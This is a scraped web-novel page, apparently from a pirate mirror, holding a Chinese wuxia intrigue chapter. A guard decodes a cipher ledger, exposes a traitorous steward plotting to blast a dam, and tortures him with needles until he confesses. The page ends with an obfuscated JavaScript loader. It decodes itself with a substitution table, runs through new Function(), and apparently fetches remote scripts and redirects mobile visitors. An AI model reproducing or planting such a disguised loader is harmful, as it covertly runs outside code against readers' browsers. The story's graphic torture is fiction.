首页
第一百八十九章
返回

第一百八十九章

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    夜色深沉。
    陆微没理会江陵,独自离开。
    换下了一身湿透的黑色水靠,穿上了一件宽大的月白色常服。她没有绾发,任由半干的长发披散在肩头,来到陆言蹊住处,换上一身干净衣服。
    她的面前,摆着那本她和江陵拼了命从沉箱底部的排污管道里带出来的账册。
    账册被江水浸泡过,虽然外层包裹着油纸,但边缘依旧有些发皱。
    陆微用一柄纤薄的银制裁纸刀,小心翼翼地挑开黏连的书页。
    这本账册表面上看,只是三号桥墩工程的日常采买流水,记录着木材、石料、生铁的进出项。
    她将账册翻到中间,目光落在那些看似毫无规律的数字和批注上。
    “三月初五,购青石两百方,耗银三百两,折损一成……”陆微轻声念着,手指在“青石”、“三百”、“一成”这几个字眼上轻轻叩击。
    这不是普通的账本,这是一本用了“阴阳双切”手法的密账。
    表面是工程流水,暗地里却套着另一套密码。陆微从书架上抽出一本陆家内部通用的《千字文》,开始逐字对照。
    随着破译的深入,陆微的眼神越来越冷,周围的空气仿佛都凝结成了冰霜。
    账本上记录的,根本不是什么工程折损,而是火药、猛火油以及精钢机括的暗中走私与调包!有人利用三号桥墩的工程做掩护,将大批足以炸毁半个江州城的违禁军需,神不知鬼不觉地运进了城。
    而在这本密账的每一页末尾,都有一个极其隐蔽的朱砂印记。那印记只有半个指甲盖大小,看似是不小心沾染的墨污,但在陆微的眼中,那是一个变形的“福”字。
    陆福。
    陆家内院的大管事,在陆家伺候了三十年,看着陆家现任家主陆言蹊长大的老人。他掌管着陆家所有的对牌和库房钥匙,是陆家最信任的几个人之一。
    “原来是你。”陆微冷笑一声,指尖微微发力,那柄纯银的裁纸刀竟被她生生捏出了一个指印。
    但更让她心惊的,是账册最后几页的记录。
    根据密账显示,运进江州的火药总量,足足有**三千斤**。而三号桥墩的沉箱里,最多只藏了不到五百斤。剩下的两千五百斤火药去了哪里?
    陆微的目光死死盯着账册最后一行的暗语:“东风已至,双龙出水,三号为饵,主穴在渊。”
    三号桥墩只是个幌子!他们真正的目标,根本不是炸毁一座桥,而是另有其地!而能被称为“主穴”,且需要两千五百斤火药去炸毁的地方,整个江州城只有一个——江州东渠的泄洪大坝!
    一旦大坝被炸,正值汛期的江水将毫无阻挡地倒灌进江州城,数十万百姓将沦为鱼鳖,而负责江州水利基建的陆家,将面临满门抄斩的灭顶之灾!
    陆微霍然起身,抓起账册,如同一道幽灵般掠出了房间,直奔陆家家主陆言蹊的书房。
    书房内,檀香袅袅。
    陆言蹊披着一件玄色大氅,正坐在棋盘前自己与自己对弈。他年仅二十八岁,却已执掌江州第一大族陆家五年之久。他生得极为俊美,眉眼间透着一股温润如玉的书卷气,但江州城里没有任何一个人敢小看这位年轻的家主。因为所有轻视他的人,如今连骨头渣子都找不到了。
    “主子。”陆微悄无声息地出现在书房中央,单膝跪地,将那本账册双手奉上。
    陆言蹊没有抬头,只是将手中的一枚白子轻轻落在棋盘上,发出清脆的声响:“沉箱的事情,办妥了?”
    “沉箱已毁,险些丧命。但东西带回来了。”陆微的声音没有一丝起伏,仿佛在诉说别人的生死,“主子,陆家有内鬼。而且,是一条大鱼。”
    陆言蹊落子的手微微一顿。他抬起头,目光落在陆微苍白的脸上,以及她那身还没来得及完全换下的、透着寒气的衣服上。他微微皱了皱眉,伸手接过账册。
    “谁?”
    “陆福。”陆微吐出这两个字。
    书房里陷入了死一般的寂静。陆言蹊看着账册上那些被陆微用朱笔圈出来的暗语和印记,脸上的温润逐渐褪去,取而代之的是一种令人窒息的深沉。
    “三十年。”陆言蹊忽然轻笑了一声,那笑声却比寒冰还要冷,“他在我父亲身边伺候了二十年,在我身边伺候了十年。我甚至叫过他福伯。周家真是好手段,这颗棋子,埋得够深的。”
    “不仅如此。”陆微站起身,走到书桌前,指着账册的最后一行,“三号桥墩只是周家放出的烟雾弹。他们真正的目标是东渠泄洪大坝。两千五百斤火药已经不知去向,如果我没猜错,已经被陆福暗中转移到了大坝附近。一旦引爆,陆家万劫不复。”
    陆言蹊的瞳孔骤然收缩。他猛地合上账册,站起身来,在大书案后踱了两步。
    “立刻抓人?”陆微的手指已经按在了腰间的软剑剑柄上,只要陆言蹊一声令下,她能在十息之内把陆福的脑袋提过来。
    “不。”陆言蹊停下脚步,眼神深邃如渊,“陆福是个死士性格,直接抓他,他若是咬碎毒牙自尽,或者死不开口,我们就永远找不到那两千五百斤火药的确切位置。大坝绵延十几里,我们没有时间去一点点搜查。必须让他自己把位置吐出来。”
    “主子的意思是,引蛇出洞?”
    “不仅要引蛇出洞,还要让他自乱阵脚。”陆言蹊嘴角勾起一抹冷酷的弧度,“陆微,你附耳过来。”
    陆微上前一步,陆言蹊在她耳边低语了几句。陆微的眼睛微微亮起,点了点头:“属下明白。这就去布置。”
    ……
    次日清晨,陆家大宅的气氛陡然变得紧张起来。
    家主陆言蹊突然召集了所有内院管事和核心族人,在议事大厅内大发雷霆。
    “废物!全都是废物!”陆言蹊将一只名贵的汝窑茶盏狠狠砸在地上,碎瓷片飞溅,“三号桥墩的沉箱无故坍塌,不仅工程毁于一旦,连放在里面的机密账册也丢了!你们是干什么吃的?!”
    大厅内跪了一地的人,噤若寒蝉。
    陆福跪在最前排,他穿着一身灰色的管事长袍,头发花白,满脸都是惶恐和自责。他重重地磕了一个头,颤声道:“家主息怒!老奴已经派人去江里打捞了,只是水流太急,恐怕……”
    “恐怕什么?恐怕账册已经被水冲走了,死无对证了是吗?!”陆言蹊冷冷地盯着他。
    陆福心头一跳,但面上依旧是不动声色的惶恐:“老奴不敢!老奴一定加派人手,活要见人,死要见尸!”
    “不必了。”陆言蹊突然深吸了一口气,语气稍微缓和了一些,但眼神却更加锐利,“账册虽然毁了,但天无绝人之路。昨晚沉箱坍塌时,有一个负责看守机括的工匠命大,被冲到了浅滩上,虽然重伤昏迷,但已经被我秘密接回了府里。”
    此言一出,陆福的瞳孔猛地一缩,藏在袖子里的双手瞬间攥紧。
    “大夫说,他今晚子时左右就能醒来。”陆言蹊环视四周,一字一顿地说道,“只要他一醒,沉箱里到底发生了什么,是谁在暗中动了手脚,我陆言蹊一定查个水落石出!到时候,无论是谁,我都要他碎尸万段!”
    “福伯。”陆言蹊突然点名。
    “老……老奴在。”陆福浑身一颤,连忙应道。
    “那个工匠就安置在后院的密室里。你亲自带人去守着,除了大夫,任何人不得靠近。今晚子时,我要亲自审问他。”
    “是!老奴遵命,定不负家主所托!”陆福重重地磕头,额头上已经渗出了一层细密的冷汗。
    会议散去后,陆福回到了自己的房间。关上房门的那一刻,他原本佝偻的背脊瞬间挺直,脸上的惶恐一扫而空,取而代之的是一种极度的阴沉和焦躁。
    “该死!怎么会有人活下来!”陆福在房间里来回踱步,像一头被困在笼子里的野兽。
    他太清楚那个沉箱里的秘密了。如果那个工匠真的看到了什么,或者知道火药被转移的事情,一旦他醒来向陆言蹊指认,不仅他自己死无葬身之地,周家筹谋了三年的大计也将彻底泡汤。
    “不行,不能等他醒来。必须立刻通知主家,提前引爆大坝,然后趁乱除掉那个工匠!”
    陆福看了一眼窗外的天色。此时已经是黄昏,距离子时还有不到三个时辰。他走到书桌前,研墨提笔,用极快的速度写下了一张密条,将其卷成极细的一卷,塞进了一个特制的竹筒里。
    夜幕降临,陆家大宅陷入了沉睡。
    陆福换上了一身夜行衣,避开了巡夜的护卫,犹如一只幽灵般穿过重重回廊,来到了陆家后花园最偏僻的一处假山旁。这里有一口废弃的枯井,是周家与他约定的紧急联络点。只要将竹筒扔进枯井,下面自然有周家的暗桩接应。
    陆福警惕地环顾四周,确认无人后,从怀里掏出那个竹筒,正准备扔进枯井。
    就在这时,一股极其危险的寒意,如同毒蛇般顺着他的脊椎骨攀爬而上。
    “福管事,这么晚了,不在密室守着那个工匠,跑来这枯井边赏月吗?”
    一个清冷、没有丝毫温度的声音,从假山上方幽幽传来。
    陆福大惊失色,猛地抬头。只见假山顶端,不知何时站着一个黑衣女子。月光洒在她的身上,勾勒出她纤细却充满爆发力的身形。她的脸上戴着半张银色面具,露出的那双杏眼,正冷冷地俯视着他,宛如看着一个死人。
    “陆微?!”陆福脱口而出。作为陆家的大管事,他自然知道陆言蹊身边有这么一把最锋利的刀。
    但他没有丝毫犹豫,在认出陆微的瞬间,他猛地一扬手,三枚淬了剧毒的透骨钉呈品字形,带着尖锐的破空声直奔陆微的面门而去!
    与此同时,陆福脚下猛地发力,不退反进,犹如一头暴起的苍狼,双爪成风,直取陆微的下盘。他能在陆家潜伏三十年不被发现,靠的绝不仅仅是伪装,还有他那一身深藏不露、极其狠辣的鹰爪功!
    “雕虫小技。”
    陆微冷哼一声,身形未动,只是在透骨钉即将触及面门的瞬间,腰肢以一个不可思议的角度向后一折,整个人如同没有骨头一般,险之又险地避开了毒钉。
    紧接着,她借着后仰的力道,右腿犹如一条钢鞭,带着撕裂空气的爆鸣声,狠狠抽向扑上来的陆福。
    “砰!”
    陆福双臂交叉格挡,却只觉得一股排山倒海的巨力袭来,双臂的骨骼发出一声令人牙酸的呻吟。他整个人被这股力量震得倒飞出去,重重地砸在假山上,震落了一地的碎石。
    “你……你的武功怎么会这么高?!”陆福捂着剧痛的双臂,眼中满是不可置信。他知道陆微厉害,但没想到竟然恐怖到这种地步。
    “你不知道的事情,还有很多。”
    陆微根本不给他喘息的机会,身形如鬼魅般欺身而上。她的手中不知何时多了一柄纤薄如纸的软剑,剑光如水银泻地,瞬间将陆福笼罩其中。
    陆福拼死抵抗,鹰爪功施展到了极致,试图在剑网中寻找破绽。但陆微的剑法太快、太冷、太绝!每一剑都直指他的要害,却又在即将致命的瞬间巧妙地避开,仿佛猫戏老鼠一般。
    “嗤!嗤!嗤!”
    不过十几个回合,陆福的身上已经多出了十几道深可见骨的血口,鲜血染红了夜行衣。他的动作越来越迟缓,呼吸也变得粗重起来。
    “结束了。”
    陆微眼神一寒,软剑犹如毒蛇吐信,瞬间挑断了陆福右手的手筋。
    “啊——!”陆福发出一声凄厉的惨叫,手中的竹筒掉落在地。
    就在他绝望之际,他的眼中闪过一丝狠厉,猛地咬向自己的后槽牙——那里藏着一颗见血封喉的毒药。既然逃不掉,他宁可死,也绝不能落入陆言蹊的手里!
    然而,陆微比他更快。
    在陆福下巴刚刚用力的瞬间,陆微的左手已经犹如闪电般探出,死死捏住了他的下颌骨。
    “咔嚓!”
    一声脆响,陆福的下巴被陆微生生卸了下来。毒药从他无力合拢的嘴里滚落出来,掉在地上。
    紧接着,陆微双手如穿花蝴蝶般在陆福的身上连点数下,伴随着几声令人毛骨悚然的骨骼错位声,陆福的双臂和双腿关节被全部卸掉。
    他像一滩烂泥一样瘫倒在地上,除了眼珠子能动,浑身上下再也使不出一丝力气,连咬舌自尽都做不到。
    陆微弯腰捡起那个竹筒,倒出里面的密条看了一眼,嘴角勾起一抹冷笑。
    “带走。”
    黑暗中,几名陆家的暗卫悄无声息地出现,将瘫软如泥的陆福拖向了陆家最深处的地牢。
    ……
    陆家的地牢,建在地下三丈深的地方。这里常年不见天日,空气中弥漫着浓重的血腥味和霉味。墙壁上挂满了各种令人胆寒的刑具,火盆里的炭火发出噼啪的声响,将人的影子拉得扭曲而狰狞。
    陆福被绑在一个呈“大”字形的铁架上。他的下巴已经被接了回去,但四肢的关节依然处于脱臼状态,剧烈的疼痛让他浑身冷汗直冒,脸色惨白如纸。
    陆言蹊坐在刑架前方的一张太师椅上,手里端着一盏热茶,正慢条斯理地撇着浮沫。陆微则抱剑站在他的身侧,犹如一尊没有感情的杀神。
    “福伯。”陆言蹊轻轻吹了吹茶水,语气温和得像是在拉家常,“三十年了,我竟然不知道,你还有这么一身好武功。周家给了你什么好处,让你连命都不要了?”
    陆福喘着粗气,死死盯着陆言蹊,突然咧嘴笑了起来,鲜血顺着他的嘴角流下,显得格外狰狞:“家主……成王败寇,老奴无话可说。你要杀便杀,想从我嘴里套出半个字,做梦!”
    “是吗?”陆言蹊放下茶盏,从袖子里掏出那张从竹筒里截获的密条,在陆福眼前晃了晃,“‘事已败露,速炸主穴’。福伯,你这张条子,可是把周家的底都交了。现在,我只需要知道,那两千五百斤火药,到底藏在东渠大坝的哪一个闸口?”
    陆福瞳孔一缩,但他依然咬紧牙关,冷笑道:“你既然猜到了是大坝,有本事自己去找啊!东渠大坝绵延十五里,一百零八个闸口,我看你陆言蹊能在天亮之前排查完几个!等明天一早,江水倒灌,你们陆家所有人,都要给我陪葬!哈哈哈哈哈!”
    陆言蹊看着他癫狂的样子,并没有生气,只是轻轻叹了口气。
    “福伯,你太不了解我了。我既然能设局抓你,自然有办法让你开口。”陆言蹊微微偏过头,看向身侧的陆微,“交给你了。留口气就行。”
    “是。”
    陆微走上前,将手中的软剑插回腰间。她没有去拿墙上那些血淋淋的刑具,而是从袖中摸出了一个精致的牛皮卷。
    卷轴展开,里面密密麻麻地插着上百根长短不一、粗细各异的银针。
    陆福看着那些闪烁着寒芒的银针,眼中终于闪过一丝恐惧:“你……你要干什么?!”
    陆微没有回答。她抽出一根最长的银针,走到陆福面前,声音冷得像冰:“人的身体上有三百六十五个穴位。其中有三十六个死穴,七十二个麻穴,还有一百零八个痛穴。我师傅曾经教过我一套针法,叫‘搜骨剔髓’。据说,只要扎满三十六针,受刑者就会感觉到千万只蚂蚁在啃食骨髓,求生不得,求死不能。”
    她一边说着,一边将银针缓缓刺入陆福胸口的一处大穴。
    “啊——!”
    银针入体的瞬间,陆福发出了一声凄厉到极点的惨叫。他的身体剧烈地痉挛起来,双眼暴突,额头上的青筋仿佛要炸裂开来。那种痛苦,不是皮肉之苦,而是直接作用于神经和骨髓深处的极致折磨!
    “第一针。”陆微面无表情地抽出第二根银针,刺入他肋下的另一处穴位。
    “呃啊啊啊啊——杀了我!杀了我!”陆福疯狂地挣扎着,但脱臼的四肢让他根本无法动弹,只能硬生生地承受着这种非人的折磨。
    “第二针。”
    “第三针。”
    ……
    地牢里回荡着陆福犹如野兽般的嘶吼声。陆微的手法极其精准,每一针都避开了要害,却将痛苦放大了十倍、百倍。
    当陆微拔出第十二根银针时,陆福的心理防线终于彻底崩溃了。他浑身被冷汗浸透,大小便失禁,整个人像一条濒死的狗一样瘫在铁架上,大口大口地吐着白沫。
    “我……我说……我说……”陆福虚弱地呻吟着,眼中充满了对陆微的极度恐惧,仿佛在看一个从地狱里爬出来的恶鬼。
    陆微停下了手中的动作,转头看向陆言蹊。
    陆言蹊站起身,走到陆福面前,居高临下地看着他:“说吧。火药在哪?”
    “在……在东渠大坝……第七十二号闸口……底部的……废弃涵洞里……”陆福断断续续地吐出这几个字,仿佛耗尽了所有的力气,“引线……引线连着闸门的机括……只要明天一早……开闸放水……机括转动……就会引爆……”
    陆言蹊的眼神瞬间变得无比凌厉。
    七十二号闸口!那是整个东渠大坝最核心的枢纽!一旦那里被炸毁,整个大坝将瞬间决堤!
    “周家负责接应的人是谁?”陆言蹊继续追问。
    “是……是周家二爷……周明远……他……他亲自带人……埋伏在大坝下游的……黑风林……准备等大坝一毁……就趁乱……截杀陆家的人……”
    陆福说完这些,彻底昏死过去。
    陆言蹊直起身,深吸了一口气,眼中杀机毕露。
    “周明远……好一个周家,竟然想将我陆家赶尽杀绝!”
    他转过身,看向陆微,语气中透着不容置疑的威严和决绝:“陆微,立刻调集陆家所有暗卫和死士。兵分两路。一路去七十二号闸口,务必在天亮之前拆除所有火药!”
    “另一路……”陆言蹊的嘴角勾起一抹嗜血的冷笑,“随我亲自去黑风林。既然周明远这么喜欢看水淹江州,那我就让他永远留在江底喂鱼!”
    “属下遵命!”陆微单膝跪地,清冷的声音中透着浓烈的杀伐之气。
    夜色依旧深沉,但江州城的天,即将被鲜血染红。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();